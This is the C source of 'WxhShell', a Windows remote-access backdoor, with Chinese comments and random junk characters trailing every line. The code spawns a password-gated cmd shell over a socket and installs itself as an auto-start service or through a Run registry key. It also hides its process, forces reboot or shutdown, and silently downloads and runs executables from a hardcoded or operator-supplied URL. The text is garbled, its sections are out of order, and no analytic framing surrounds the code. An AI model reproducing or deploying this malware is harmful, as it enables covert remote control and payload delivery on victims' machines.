    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2EQ:mjxk  
    if(Boot(SHUTDOWN)) L a0H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9i,QCA  
    else { u2-%~Rlo  
    closesocket(wsh); i\},  
    ExitThread(0); uAK-%Uu?  
    } 76zi)f1f  
    break; ToDNBt.u{+  
    } 7KuTC%7  
  // 获取shell )I.[@#-  
  case 's': { Z-Bw?_e_K  
    CmdShell(wsh); z=n"cE[KtB  
    closesocket(wsh); ]Ol@^$8}  
    ExitThread(0); c .KpXY  
    break; Fg5>CppH  
  } k+JDbJ@  
  // 退出 ?Xh=rx_  
  case 'x': { Ks8S^77  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); niqiDT/  
    CloseIt(wsh); FyZw='D  
    break; NnrX64|0  
    } 19 bP0y  
  // 离开 *oZBv4Vh   
  case 'q': { + :iNoDz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l')?w]|  
    closesocket(wsh); LPO3B W  
    WSACleanup(); v)okVyv  
    exit(1); RUYw D tC  
    break; t9Pu:B6  
        } /NMd GKr  
  } :T5l0h-eC  
  } |v[{k>7f  
N/qr}- 3z  
  // 提示信息 pRPz1J$58  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ) i.p[  
} o_b j@X  
  } oizD:|  
psgXJe$  
  return; fC&Egy  
} -P(q<T2MV'  
zRL[.O9  
// shell模块句柄 a}hpcr({?  
int CmdShell(SOCKET sock) Rkw)IdB  
{ _dmgNbs  
STARTUPINFO si; O292JA  
ZeroMemory(&si,sizeof(si)); 8e[kE>tS._  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %fJ*Ql4M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k .KN9=o  
PROCESS_INFORMATION ProcessInfo; jxZ R%D  
char cmdline[]="cmd"; )0yY|E\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7t0\}e  
  return 0; ncu &<j}U  
} hg]\~#&-  
kQsyvE  
// 自身启动模式 B&O931E7  
int StartFromService(void) 6f\0YU<C&  
{ CsQ}eW8uEf  
typedef struct _;G"{e.=  
{ R`:Y&)c_$  
  DWORD ExitStatus; df&d+jY  
  DWORD PebBaseAddress; ++5W_Ooep  
  DWORD AffinityMask; Nye Ga  
  DWORD BasePriority; WG1Uv PK  
  ULONG UniqueProcessId; *jCXH<?R  
  ULONG InheritedFromUniqueProcessId; ])7t!<  
}   PROCESS_BASIC_INFORMATION; Hhx<k{B@7  
D ( <_1  
PROCNTQSIP NtQueryInformationProcess; p*-o33Ve  
rPv+eM" >  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q*^zphT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o/CSIvz1  
Y6?d y\  
  HANDLE             hProcess; "F7g8vu  
  PROCESS_BASIC_INFORMATION pbi; 4["$}O5  
H8`K?SXU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CTD{!I(  
  if(NULL == hInst ) return 0; kgEGL]G>  
:eo2t>zF-<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \(cu<{=rU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >wNE!Oa*B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !BIq>pO%Ui  
Ki,]*-XO  
  if (!NtQueryInformationProcess) return 0; 7;dV]N  
S@k4k^Vg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |0vY'A)]  
  if(!hProcess) return 0; Gm}ecW  
!}9k @=[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &\F`M|c  
$Dxz21|P7  
  CloseHandle(hProcess); 2~<?E`+  
1,p7Sl^h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yxf|Njo0  
if(hProcess==NULL) return 0; Sl/[9- a)  
+`r;3kH ..  
HMODULE hMod; 5 UpN/\He  
char procName[255]; GO.mT/rB  
unsigned long cbNeeded; w6F4o;<PR  
RC sQLKqF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0V uG(O  
21O!CvX   
  CloseHandle(hProcess); P 5yS`v$@  
X|{TwmHd  
if(strstr(procName,"services")) return 1; // 以服务启动 EEEYNu/4/  
2ro4{^(_  
  return 0; // 注册表启动 v/ dSz/<]  
} _8vq]|rC  
:EJ+#  
// 主模块 x=pq-&9>B  
int StartWxhshell(LPSTR lpCmdLine) y Rr,+>W  
{ I dgha9K  
  SOCKET wsl; t4R=$ km  
BOOL val=TRUE; \{ r%.G  
  int port=0; 6J9^:gXW~  
  struct sockaddr_in door; $vnshU8/v  
.S>:-j'u  
  if(wscfg.ws_autoins) Install(); _5uzu6:y  
]R~K-cN`  
port=atoi(lpCmdLine); +Em+W#i%?  
|QHDg(   
if(port<=0) port=wscfg.ws_port; d[;Sn:B  
9YS&RBJu  
  WSADATA data; LE%3.. !  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &k*sxW'  
d #9 \]Ul&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WI/&r5rq   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u=I\0H  
  door.sin_family = AF_INET; |j($2.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u )cc  
  door.sin_port = htons(port); JE9SPFQx9M  
DUUQz:?{J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :QT0[P5O  
closesocket(wsl); 0Ah'G  
return 1; NI_.wB{  
} atR WKsY<  
T2|dFKeWG  
  if(listen(wsl,2) == INVALID_SOCKET) { zRSIJ!A~  
closesocket(wsl); V +j58Wuf  
return 1; BO)K=gl;8  
} Q^}6GS$  
  Wxhshell(wsl); Goa0OC,  
  WSACleanup(); [(Ss^?AJW  
^EY^.?Mg  
return 0; \6~(# y  
<RH2G   
} k`ulDQu  
qP=4D 9 ]  
// 以NT服务方式启动 YTP6m9hA+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wm_:1~  
{ s @\UZ C  
DWORD   status = 0; Q'xZ\t  
  DWORD   specificError = 0xfffffff; oRmz'F  
Al&)8x{p  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  d(!W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =w&JDj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J<J_yRg2  
  serviceStatus.dwWin32ExitCode     = 0; w$%d"Jm#X  
  serviceStatus.dwServiceSpecificExitCode = 0; gbF^m`A>%+  
  serviceStatus.dwCheckPoint       = 0; X.TsOoy  
  serviceStatus.dwWaitHint       = 0; hn]><kaA  
GR6BpV7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /sHWJ?`&/,  
  if (hServiceStatusHandle==0) return;  zE$KU$  
hI249gW9  
status = GetLastError(); "\0&1C(G  
  if (status!=NO_ERROR) t0t" =(d  
{ mhTi{t_fHM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kaybi 0  
    serviceStatus.dwCheckPoint       = 0; b3Nr>(Z<}  
    serviceStatus.dwWaitHint       = 0; ipy1tXc  
    serviceStatus.dwWin32ExitCode     = status; ~@g7b`t=la  
    serviceStatus.dwServiceSpecificExitCode = specificError; =^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L<8:1/d\  
    return; ?8 dd^iX/  
  } 6, =oTmFP  
o1I8l7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lI#Ap2@  
  serviceStatus.dwCheckPoint       = 0; 7Uy49cs,  
  serviceStatus.dwWaitHint       = 0; ="X2AuK%1$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #Fp5>%*  
} ME'hN->c  
-1^dOG6*  
// 处理NT服务事件,比如:启动、停止 .7lDJ2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g~,"C8-H  
{ eRV4XB:  
switch(fdwControl) `` !BE"yN  
{ e}V3dC^pU  
case SERVICE_CONTROL_STOP: UvwO/A\Gv  
  serviceStatus.dwWin32ExitCode = 0; !cblmF;0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !{hC99q6  
  serviceStatus.dwCheckPoint   = 0; rK^Sn7U  
  serviceStatus.dwWaitHint     = 0; %OS}BAh^i  
  { >\J({/ #O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mBb;:-5  
  } fC1PPgQ\  
  return; UvR F\x%  
case SERVICE_CONTROL_PAUSE: Q[5j5vry  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yWsJa)e3*@  
  break; 1^F !X=  
case SERVICE_CONTROL_CONTINUE: 55aJ =T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u;-_%?  
  break; ?ks3K-.4  
case SERVICE_CONTROL_INTERROGATE: Ab| t E5%  
  break; `TugtzRU  
};  -)='htiU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H);O.m  
} gmFCjs  
km%c0:  
// 标准应用程序主函数 $>Y2N5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OHEl.p]|  
{ nu'r `  
]Tv0+ Ao  
// 获取操作系统版本 LYYz =gvZl  
OsIsNt=GetOsVer(); r8]y1 Om<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !|\$|m<n  
BYh F?  
  // 从命令行安装 H]^hEQ3DT  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6bv~E.  
QJeL&mf  
  // 下载执行文件 @/(\YzQvp]  
if(wscfg.ws_downexe) {  j<BW/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rw j4  
  WinExec(wscfg.ws_filenam,SW_HIDE); V'-}B6 3S>  
} he/WqCZg  
S-^:p5{r  
if(!OsIsNt) { 8ClOd<I  
// 如果时win9x,隐藏进程并且设置为注册表启动 u ZzO$e  
HideProc(); Z$a5vu*pg  
StartWxhshell(lpCmdLine); RB,`I#z1f  
} +-s$Htx  
else G)(vd0X1  
  if(StartFromService()) 0.MD_s0)>  
  // 以服务方式启动 5o v F$qn  
  StartServiceCtrlDispatcher(DispatchTable); G}|!Jdr  
else ]U4)2s  
  // 普通方式启动 PG51+#  
  StartWxhshell(lpCmdLine); Q sXy(w#F  
V:YN!  
return 0; >EacXPt-O  
} j3W)  
9a$\l2  
2aDjt{7P  
}|KNw*h $  
=========================================== >+/2g  
)\`.Ru~,  
y TbOBl  
tz6N,4J?  
cs-wqxTX[$  
fRt`]o:Om  
" [. rULQl  
=ws iC'  
#include <stdio.h> cZb5h 9  
#include <string.h> uV|%idC  
#include <windows.h> GR%h3HO2&  
#include <winsock2.h> l KdY!j"  
#include <winsvc.h> 5s7C;+  
#include <urlmon.h> ?z[k.l+6w  
p;x3gc;0  
#pragma comment (lib, "Ws2_32.lib") 5#WyI#YNG  
#pragma comment (lib, "urlmon.lib") u/ Gk>F  
,f[`C-\Q%  
#define MAX_USER   100 // 最大客户端连接数 *WQl#JAr  
#define BUF_SOCK   200 // sock buffer pXE'5IIN  
#define KEY_BUFF   255 // 输入 buffer .Fl5b}C(  
FD1Z}v!5IJ  
#define REBOOT     0   // 重启 qQ{i2D%)?f  
#define SHUTDOWN   1   // 关机 pm4'2B|)g  
=/Lwprj  
#define DEF_PORT   5000 // 监听端口 # o;\5MOE%  
f|r +qe  
#define REG_LEN     16   // 注册表键长度 !vY5X2?tr,  
#define SVC_LEN     80   // NT服务名长度 s?9$o Qq1  
~%D=\iE  
// 从dll定义API JYesk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iD(+\:E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z /*X)mBuB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ExW3LM9(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CKuf'h#  
!iHJ!  
// wxhshell配置信息 tsWzM9Yf  
struct WSCFG { g,O3\jjQ  
  int ws_port;         // 监听端口 &2Q0ii#Aa  
  char ws_passstr[REG_LEN]; // 口令 9x]yu6  
  int ws_autoins;       // 安装标记, 1=yes 0=no <uf,@N5m  
  char ws_regname[REG_LEN]; // 注册表键名 3;F+.{Icc  
  char ws_svcname[REG_LEN]; // 服务名 d^:(-2l-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G,-x+e"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SmMJ%lgA6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y2 oN.{IH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D:I6nSoC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RHj<t");  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Od?b(bE.]  
na0-v-  
}; fEYo<@5c]  
9`| ^cL*6  
// default Wxhshell configuration wQR0R~|M  
struct WSCFG wscfg={DEF_PORT, ){M)0,:  
    "xuhuanlingzhe", s6HfN'  
    1, IPxK$nI^  
    "Wxhshell", K."h}f95  
    "Wxhshell", |\# 6?y[o  
            "WxhShell Service", =AVr<kP  
    "Wrsky Windows CmdShell Service", Dxx`<=&g  
    "Please Input Your Password: ", e< E]8GAF  
  1,  #-^y9B  
  "http://www.wrsky.com/wxhshell.exe", =.9uuF:  
  "Wxhshell.exe" `ZLA=oD  
    };  1cvH  
!Bqmw  
// 消息定义模块 V.H<KyaJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ar iW&E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7w8I6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -A3>+G3[  
char *msg_ws_ext="\n\rExit."; NkYU3[m$v  
char *msg_ws_end="\n\rQuit."; .`5BgX7W  
char *msg_ws_boot="\n\rReboot..."; bPhbd  
char *msg_ws_poff="\n\rShutdown..."; mq!_/3  
char *msg_ws_down="\n\rSave to "; g0M9v]c  
^Ss4<  
char *msg_ws_err="\n\rErr!"; U%zZw)  
char *msg_ws_ok="\n\rOK!"; qR>"r"Fq  
xJ[Xmre  
char ExeFile[MAX_PATH]; - )brq3L  
int nUser = 0; k2t#O%_f  
HANDLE handles[MAX_USER]; 48t_?2>  
int OsIsNt; tiHP? N U  
 aa10vV  
SERVICE_STATUS       serviceStatus; lMW4SRk1C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [T>a}}@  
f6O5k8n  
// 函数声明 dLnu\bSF  
int Install(void); Zyx92z9Y  
int Uninstall(void); 9p '#a:  
int DownloadFile(char *sURL, SOCKET wsh); d%C :%d  
int Boot(int flag); VfON{ 1g  
void HideProc(void); /N?vVp  
int GetOsVer(void); r1o_i;rg  
int Wxhshell(SOCKET wsl); -0R;C`(!  
void TalkWithClient(void *cs); Ei& Z  
int CmdShell(SOCKET sock); @w]z"UCwV@  
int StartFromService(void); N-9qNLSP  
int StartWxhshell(LPSTR lpCmdLine); YnLwBJ2i  
$4Ko  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [WxRwE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pcox~U/j  
Y#[>j4<T  
// 数据结构和表定义 H;(|&Asq>  
SERVICE_TABLE_ENTRY DispatchTable[] = oPVyLD  
{ MV.$Ay  
{wscfg.ws_svcname, NTServiceMain}, /H m), 9NN  
{NULL, NULL} |fTWf}Jx  
}; ctB(c`zcY  
+CF"Bm8@  
// 自我安装 #vnJJ#uI|>  
int Install(void) w6w'Jx  
{ gY=Ry=w9  
  char svExeFile[MAX_PATH]; <F7g;s'q9  
  HKEY key; v7kR]HU[y  
  strcpy(svExeFile,ExeFile); :(o6^%x  
RX DPT  
// 如果是win9x系统,修改注册表设为自启动 ~BJ~]~0P`  
if(!OsIsNt) { _s> ZY0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YKZk/m&H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @uaf&my,P  
  RegCloseKey(key); *w[\(d'T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NcVsQV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V7qc9Gd@I  
  RegCloseKey(key); 9^5D28y  
  return 0; D#?jddr-  
    } :1O1I2L0  
  } ,*w  
} _P]!J~$5  
else { w_sA8B  
(3;dtp>Xx  
// 如果是NT以上系统,安装为系统服务 W6>SYa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;C+g)BW  
if (schSCManager!=0) d*A(L5;@  
{ Wveba)"$  
  SC_HANDLE schService = CreateService @/ m|T]'8  
  ( C<?Huw4R0  
  schSCManager, q:9#Vcw  
  wscfg.ws_svcname, eyiGe1^C  
  wscfg.ws_svcdisp, g[,1$39Z|@  
  SERVICE_ALL_ACCESS, *Ugtg9j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E9yBa=#*c  
  SERVICE_AUTO_START, =`l).GnN2`  
  SERVICE_ERROR_NORMAL, }uTe(Rf  
  svExeFile, DG&[.dR+  
  NULL, _E{hB  
  NULL, 08!pLE  
  NULL, ]-D;t~  
  NULL, p FkqDU  
  NULL 0{ O|o_  
  ); DjX*2O  
  if (schService!=0) h]#wwJF  
  { ,;2x.We  
  CloseServiceHandle(schService); JBsHr%!i  
  CloseServiceHandle(schSCManager); SgOn:xg;3L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V0Z\e _I  
  strcat(svExeFile,wscfg.ws_svcname); >9S@:?^&q>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @?w8XHEa|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); INyakAmJ}-  
  RegCloseKey(key); \(C_t1  
  return 0; :!wdqn  
    } F_Q?0 Do0'  
  } CS:mO |  
  CloseServiceHandle(schSCManager); '5Zt B<  
} +U%U3tAvs  
} l1|z; $_z  
qGE?[\t[6  
return 1; r`Qzn" H  
} O!b >  
Y2DR oQ  
// 自我卸载 I.<>6ISI@  
int Uninstall(void) B@,L83  
{ @+v;B:  
  HKEY key; 8%UI<I,  
^XV=(k;~bX  
if(!OsIsNt) { O1.a=O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4No!`O-!&  
  RegDeleteValue(key,wscfg.ws_regname); i6^COr  
  RegCloseKey(key); g2=5IU<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tNskB`541  
  RegDeleteValue(key,wscfg.ws_regname); {-sy,EYcw  
  RegCloseKey(key); QOECpk-  
  return 0; s^nwF>  
  } *{]9e\DF  
} `hD\u@5Tw  
} M'=27!D^  
else { rurC! -  
.TN9N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5-L?JD 4&  
if (schSCManager!=0) )+[{MR '  
{ ELp @/c=Wr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9HOdtpQOV  
  if (schService!=0) 0Ts[IHpg&E  
  { [~;#]az  
  if(DeleteService(schService)!=0) { ! K~PH  
  CloseServiceHandle(schService); Tc6H%itV  
  CloseServiceHandle(schSCManager);  0u4:=Z}W  
  return 0; mAk@Q|u  
  } z G {1;  
  CloseServiceHandle(schService); llbj-9OZL  
  } 93|u. @lEy  
  CloseServiceHandle(schSCManager); ;4E0%@R  
} q%=`PCty  
} 3A_7R-sQ  
u-zl-?Ne  
return 1; 2\ /(!n  
} =N,Mmz%  
So*Q8`"-.  
// 从指定url下载文件 klG]PUzd  
int DownloadFile(char *sURL, SOCKET wsh) 3S-nsMs.  
{ ~n#rATbxf  
  HRESULT hr; W@w#A]  
char seps[]= "/"; o$4n D#P3  
char *token; L Ty [)  
char *file; %,rUN+vW  
char myURL[MAX_PATH]; t)74(  
char myFILE[MAX_PATH]; X I\zEXO  
YCwfrz  
strcpy(myURL,sURL); $X~4J  
  token=strtok(myURL,seps); +I0?D  
  while(token!=NULL) -r_/b  
  { &eQF[8 ,  
    file=token; dA[Z\  
  token=strtok(NULL,seps); 5taYm'  
  } 8$3G c"=  
!Y3w]_x[:  
GetCurrentDirectory(MAX_PATH,myFILE); NZ/>nNs  
strcat(myFILE, "\\"); u>j:8lhtV  
strcat(myFILE, file); $-m`LF@  
  send(wsh,myFILE,strlen(myFILE),0); )p7WU?&I  
send(wsh,"...",3,0); 2H8,&lY.p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y&NO[  
  if(hr==S_OK) N3Ub|$}q  
return 0; 87zsV/  
else 2HBYReQ  
return 1; S,LW/:,  
$D8eCjUm  
} c *(]pM  
D}l^ow  
// 系统电源模块 Hd6g0  
int Boot(int flag) ba^cw}5  
{ 0[g8  
  HANDLE hToken; NrVrR80Y  
  TOKEN_PRIVILEGES tkp; &Ib8xwb:  
|D u.aN  
  if(OsIsNt) { +rbj%v}Fh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $[iSZ;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M@S6V7  
    tkp.PrivilegeCount = 1; ygr[5Tl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |l(rR06#.]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jQOY\1SR  
if(flag==REBOOT) { $Ml/=\EHOg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tm@d;O'E1  
  return 0; #*;(%\q}  
} >}h/$bU  
else { P]-d (N}/H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E~]8>U?V  
  return 0; %B` MO-  
} uBw1Xud[YI  
  } .asHFT7]9  
  else { PhF3' ">  
if(flag==REBOOT) { *yOpMxE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ma>{((N  
  return 0; TLzg*  
} P9v N5|"M  
else { HJ]\VP9Zb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oqHI`Tu  
  return 0; {.O Bcx  
} ufm`h)N  
} 7. 9n  
!EuU @ +  
return 1; B\A2Vm`&  
} kPF[E5  
~aa`Y0Ws],  
// win9x进程隐藏模块 FW(y#Fmqs  
void HideProc(void) T1c2J,+}R  
{ 1iEZ9J?  
4(Gs$QkSo|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x;89lHy@e  
  if ( hKernel != NULL ) ]W3D4Swq  
  { 8=OK8UaU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <@ D`16%&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dp!3uR ']p  
    FreeLibrary(hKernel); C#[YDcp4  
  } |ZW%+AQ|  
}2-<}m9}  
return; Lc(D2=%  
} ,$@nbS{Q]  
f~-81ctu  
// 获取操作系统版本 =wHHR1e  
int GetOsVer(void) &-W5 T?Sl  
{ -~ytk=  
  OSVERSIONINFO winfo; U.~, Bwb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p*)RP2  
  GetVersionEx(&winfo); q/~U[.C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rMAH YH9  
  return 1; /-JBz U$  
  else YP{)jAK  
  return 0; X~t]qT  
} cGiS[-g  
j$<uE{c  
// 客户端句柄模块 " ,&#9  
int Wxhshell(SOCKET wsl) Va,M9)F  
{ CPc<!CC  
  SOCKET wsh; }c(".v#  
  struct sockaddr_in client; zlzr;7m  
  DWORD myID; N8|=K_;&  
hM\<1D CKG  
  while(nUser<MAX_USER) CLU!/J $!  
{ 'jWd7w~(  
  int nSize=sizeof(client); c0jdZ#H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [b-27\b  
  if(wsh==INVALID_SOCKET) return 1; peqoLeJI  
G4->7n N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A,D67G<v`  
if(handles[nUser]==0) jV)!9+H#  
  closesocket(wsh); 5\1Z"?  
else 8$a4[s  
  nUser++; &P{  
  } *m:h0[[J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IQ[ ?ej3W  
ZK<kn8JJ  
  return 0; T677d.zaT  
} 4q o4g+  
9'F-D  
// 关闭 socket 6J0HaL  
void CloseIt(SOCKET wsh) u38FY@U$  
{ JmdXh/X  
closesocket(wsh); rhY>aj  
nUser--; .b>1u3  
ExitThread(0); R)?b\VK2$  
} <cG .V |B  
SvC|"-[mJ  
// 客户端请求句柄 vr5 6 f1  
void TalkWithClient(void *cs) JG&`l{c9  
{ *u.6,jw  
Wh[+cH"M  
  SOCKET wsh=(SOCKET)cs; H6?ZE  
  char pwd[SVC_LEN]; 7cin?Z1  
  char cmd[KEY_BUFF]; yZ3/Ia>,  
char chr[1]; /=Bz[ O  
int i,j; <y5V],-U  
x bF*4;^SI  
  while (nUser < MAX_USER) { ;;'b;,/  
f%9EZ+OP  
if(wscfg.ws_passstr) { 8>a/x,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Pm^G^EP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?l#9ydi?  
  //ZeroMemory(pwd,KEY_BUFF); rm2"pfs  
      i=0; %98F>wl  
  while(i<SVC_LEN) { '8>h4s4  
6dTq&GZ\  
  // 设置超时 dq~p]h~,H  
  fd_set FdRead; AH`D&V  
  struct timeval TimeOut; D3Lu]=G  
  FD_ZERO(&FdRead); d{+ H|$L`  
  FD_SET(wsh,&FdRead); .CFaBwj  
  TimeOut.tv_sec=8; p#~' xq  
  TimeOut.tv_usec=0; m&o}qzC'y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;AKtb S;H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B[7|]"L@  
G3&ES3L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EB jiSQw  
  pwd=chr[0]; =BJ/ZM  
  if(chr[0]==0xd || chr[0]==0xa) { )k0e}  
  pwd=0; 2pFOC;tl  
  break; c/ %5IhX?  
  } 7r?O(0>  
  i++; K0 .f4 o  
    } LB%_FT5  
KY/}jJW  
  // 如果是非法用户,关闭 socket w~M5)b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J'^s5hxn+0  
} 5} |O  
, M$*c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^qqP):0y1V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [9UKVnX.V  
hABC rd Em  
while(1) { mtuq  
Malt 7M  
  ZeroMemory(cmd,KEY_BUFF); */xI#G,O+  
OqUEj 0X  
      // 自动支持客户端 telnet标准   LA$uD?YA  
  j=0; B5Rmz&  
  while(j<KEY_BUFF) { zNRoFz.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AoyU1MR(  
  cmd[j]=chr[0]; A@*P4E`xp  
  if(chr[0]==0xa || chr[0]==0xd) { ^ cN-   
  cmd[j]=0; @va{&i`%A7  
  break; =]oBBokV  
  } Gdnk1_D>  
  j++; L5%~H?K(  
    } =wK3\rG  
w<j6ln+nM  
  // 下载文件 4?M= ?K0  
  if(strstr(cmd,"http://")) { 6}R^L(^M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @]tFRV  
  if(DownloadFile(cmd,wsh)) H? N!F7s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rgILOtk[  
  else },0fPkVsU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  1JgnuBX"  
  } y% uUA]c*m  
  else { ?PiJ7|  
\l_RyMi  
